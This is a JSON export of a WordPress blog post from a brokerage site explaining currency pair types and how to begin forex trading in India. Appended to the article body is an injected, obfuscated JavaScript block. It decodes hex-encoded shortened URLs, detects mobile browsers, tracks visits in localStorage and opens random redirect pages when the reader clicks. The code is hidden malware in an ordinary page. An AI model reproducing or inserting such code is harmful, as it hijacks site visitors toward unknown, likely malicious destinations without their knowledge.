{"id":190,"date":"2022-12-24T04:30:02","date_gmt":"2022-12-24T04:30:02","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=190"},"modified":"2023-11-17T08:04:12","modified_gmt":"2023-11-17T08:04:12","slug":"understanding-currency-pairs-and-their-trading-procedure-in-india","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/","title":{"rendered":"Understanding Currency Pairs and Their Trading Procedure in India"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#What_are_the_currency_pairs\" >What are the currency pairs?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#Kinds_of_Currency_pairs\" >Kinds of Currency pairs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#Trading_in_Currency_pairs\" >Trading in Currency pairs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#FAQs\" >FAQs<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">Have you ever thought about why the mentions of USD rates take an important place in the discussions of the economy of the country?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The traders who trade in currency pairs take advantage of the rise or fall in the prices and earn profits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These rates might not be useful for you know. But after reading this article you too will start taking interest in the fluctuations in the currency rates.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s understand the currency pairs and their trading in India.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_are_the_currency_pairs\"><\/span><strong>What are the currency pairs?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In the currency pair, the price of one currency is quoted against the other. The currency on the left side of the slash is known as the base currency and the right one is the benchmark currency known as the quote currency.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>For example, USD\\EUR<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It shows how much EUR is required to buy one unit of USD.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The currency pairs that are allowed to be traded in India are USD-INR, EUR-INR, GBP-INR, JPY-INR, EUR-USD, GBP-USD, and JPY-USD.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Kinds_of_Currency_pairs\"><\/span><strong>Kinds of Currency pairs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"1080\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Infographic_Kinds-of-Currency-pairs.jpg\" alt=\"Kinds of Currency pairs\" class=\"wp-image-782\" style=\"width:533px;height:299px\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">In India, there are currently four categories of Currency pairs:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Major Currency pairs:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The major currency pairs include the highest-traded currencies with the highest liquidity. Another major characteristic is, it includes USD as one currency.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The major currency pairs in India are:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>EUR-USD<\/li>\n\n\n\n<li>USD-JPY<\/li>\n\n\n\n<li>GBP-USD<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\">\n<li><strong>Minor Currency pairs:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The minor currency pairs are different from the major currency pairs in terms of- it includes the second most traded currency pairs and secondly it doesn&#8217;t include USD as one of the currency in the pair.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>GBP-CAD<\/li>\n\n\n\n<li>EUR-AUD<\/li>\n\n\n\n<li>NZD-JPY<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"3\">\n<li><strong>Currency Crosses:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Typically, a cross-currency pair excludes the USD and instead contains the EUR, GBP, and JPY.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Depending on the base currency it contains, each currency cross has a prefix.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For instance, a GBP Cross is a trading pair with GBP as the base.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>EUR-INR<\/li>\n\n\n\n<li>GBP-INR<\/li>\n\n\n\n<li>JPY-INR<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"4\">\n<li><strong>Exotic Currency pairs:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Exotic currency pairs include both the base and the quote currency from the developing nations. It means that these currency pairs lack trade volume as well as liquidity as these are not traded so frequently in the market.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>AUD-PLN<\/li>\n\n\n\n<li>AUD-NOK<\/li>\n\n\n\n<li>AUD-SEK<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Here a question raises, After knowing what are the currency pairs and their kinds. How you can start trading the currency pairs.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Trading_in_Currency_pairs\"><\/span><strong>Trading in Currency pairs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To begin your <a rel=\"noreferrer noopener\" href=\"https:\/\/shoonya.com\/blog\/risks-associated-with-currency-trading\/\" target=\"_blank\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">trading journey in currency<\/mark><\/a> pairs in India, you need to open a trading account. Thereafter, you have to choose one registered broker for your trades, the most important consideration is to choose the broker wisely as their services and strategies have a major impact on your trades.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After completing the selection process, now to complete your account opening with the broker you have to undergo the KYC procedure. Check out the easiest KYC procedure on Shoonya.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After your account has been opened, you can transfer funds to start trading forex pairs like EUR-INR, EUR-USD, USD-INR, USD-JPY, and more. Here\u2019s how to fund your trading account.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Happy trading!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FAQs\"><\/span><strong>FAQs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1700208171960\"><strong class=\"schema-faq-question\">Can I trade currency pairs in the Indian stock market?<\/strong> <p class=\"schema-faq-answer\">Yes, you can trade currency pairs through the forex market, which operates 24 hours a day, five days a week.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1700208185612\"><strong class=\"schema-faq-question\">What factors influence currency pair movements?<\/strong> <p class=\"schema-faq-answer\">Currency pair movements are influenced by economic indicators, central bank policies, political events, and global economic trends.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1700208198973\"><strong class=\"schema-faq-question\">What are the major pairs in forex?<\/strong> <p class=\"schema-faq-answer\">In India, the major currency pairs include, Indian Currency Pairs- USD-INR, EUR-INR, GBP-INR, JPY-INR and Cross Currency Pairs- EUR-USD, GBP-USD, and USD-JPY.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1700208213197\"><strong class=\"schema-faq-question\">What are currency pairs?<\/strong> <p class=\"schema-faq-answer\">Currency pairs represent the relative value of one currency against another in the forex market. The first currency is the base, and the second is the quote. The exchange rate shows how much of the quote currency is needed to buy one unit of the base currency.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1700208225395\"><strong class=\"schema-faq-question\">Is forex trading in India legal?<\/strong> <p class=\"schema-faq-answer\">Yes, forex trading is legal in India, but it is subject to certain regulations and restrictions imposed by the Reserve Bank of India (RBI).<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Have you ever thought about why the mentions of USD rates take an important place in the discussions of the economy of the country? The traders who trade in currency pairs take advantage of the rise or fall in the prices and earn profits. These rates might not be useful for you know. But after &hellip; <a href=\"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Understanding Currency Pairs and Their Trading Procedure in India&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":373,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[46],"tags":[164,169,168,167,165,166],"class_list":["post-190","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-currencies","tag-currency-pairs","tag-earn-profits","tag-kyc-procedure","tag-trading-in-currency-pairs","tag-trading-in-india","tag-usd-inr"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Understanding Currency Pairs and Their Trading Procedure in India<\/title>\n<meta name=\"description\" content=\"Learn about the most commonly traded currency pairs in India and their trading procedures. Read to know more!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Understanding Currency Pairs and Their Trading Procedure in India\" \/>\n<meta property=\"og:description\" content=\"Learn about the most commonly traded currency pairs in India and their trading procedures. Read to know more!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2022-12-24T04:30:02+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-11-17T08:04:12+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Currency-pairs-and-their-trading.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Understanding Currency Pairs and Their Trading Procedure in India\",\"datePublished\":\"2022-12-24T04:30:02+00:00\",\"dateModified\":\"2023-11-17T08:04:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/\"},\"wordCount\":679,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Currency-pairs-and-their-trading.jpg\",\"keywords\":[\"Currency pairs\",\"earn profits\",\"KYC procedure\",\"Trading in Currency pairs\",\"Trading in India\",\"USD-INR\"],\"articleSection\":[\"Currencies\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/\",\"name\":\"Understanding Currency Pairs and Their Trading Procedure in India\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Currency-pairs-and-their-trading.jpg\",\"datePublished\":\"2022-12-24T04:30:02+00:00\",\"dateModified\":\"2023-11-17T08:04:12+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Learn about the most commonly traded currency pairs in India and their trading procedures. Read to know more!\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208171960\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208185612\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208198973\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208213197\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208225395\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Currency-pairs-and-their-trading.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Currency-pairs-and-their-trading.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Currency Pairs and Their Trading\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Investing\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Currencies\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/currencies\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Understanding Currency Pairs and Their Trading Procedure in India\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest 